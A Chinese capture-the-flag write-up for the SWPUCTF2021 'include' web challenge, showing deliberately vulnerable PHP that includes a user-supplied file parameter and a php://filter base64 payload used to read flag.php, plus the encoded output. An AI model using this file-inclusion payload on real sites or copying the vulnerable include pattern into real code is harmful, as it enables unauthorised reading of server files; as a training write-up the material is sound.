NSSCTF每日一练 SWPUCTF2021 include--web

这道题是出自SWPUCTF2021的新生赛。

题目打开给了一个你能上传文件吗?

那么直接在url栏尝试get传参(直接在url后面加?file)

那么就可以看到php的源码

复制代码
 <?php
ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
$file=$_GET['file'];
if(isset($file)){
    show_source(__FILE__);
    echo 'flag 在flag.php中';
}else{
    echo "传入一个file试试";
}
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
include_once($file);
?> flag 在flag.php中

可以看到有个ini_set 设置了参数为on;可以用php伪协议filter进行文件读取。直接读取flag所在的目录也就是flag.php。那么payload就是:URL+/?file=php://filter/read=convert.base64-encode/resource=flag.php;然后得到了

PD9waHANCiRmbGFnPSdOU1NDVEZ7MGFiZTg3MTQtYThiOS00ZGYyLWIzZGMtYWY0MzE3NTM2NzJifSc7。一眼base64,直接cyberchef解。

相关推荐
bearpping4 小时前
Nginx 配置:alias 和 root 的区别
前端·javascript·nginx
@大迁世界5 小时前
07.React 中的 createRoot 方法是什么?它具体如何运作?
前端·javascript·react.js·前端框架·ecmascript
January12075 小时前
VBen Admin Select 选择框选中后仍然显示校验错误提示的解决方案
前端·vben
. . . . .5 小时前
前端测试框架:Vitest
前端
xiaotao1315 小时前
什么是 Tailwind CSS
前端·css·css3
战南诚6 小时前
VUE中,keep-alive组件与钩子函数的生命周期
前端·vue.js
发现一只大呆瓜6 小时前
React-彻底搞懂 Redux:从单向数据流到 useReducer 的终极抉择
前端·react.js·面试
xiangpanf7 小时前
Laravel 10.x重磅升级:五大核心特性解析
android
霍理迪7 小时前
Vue的响应式和生命周期
前端·javascript·vue.js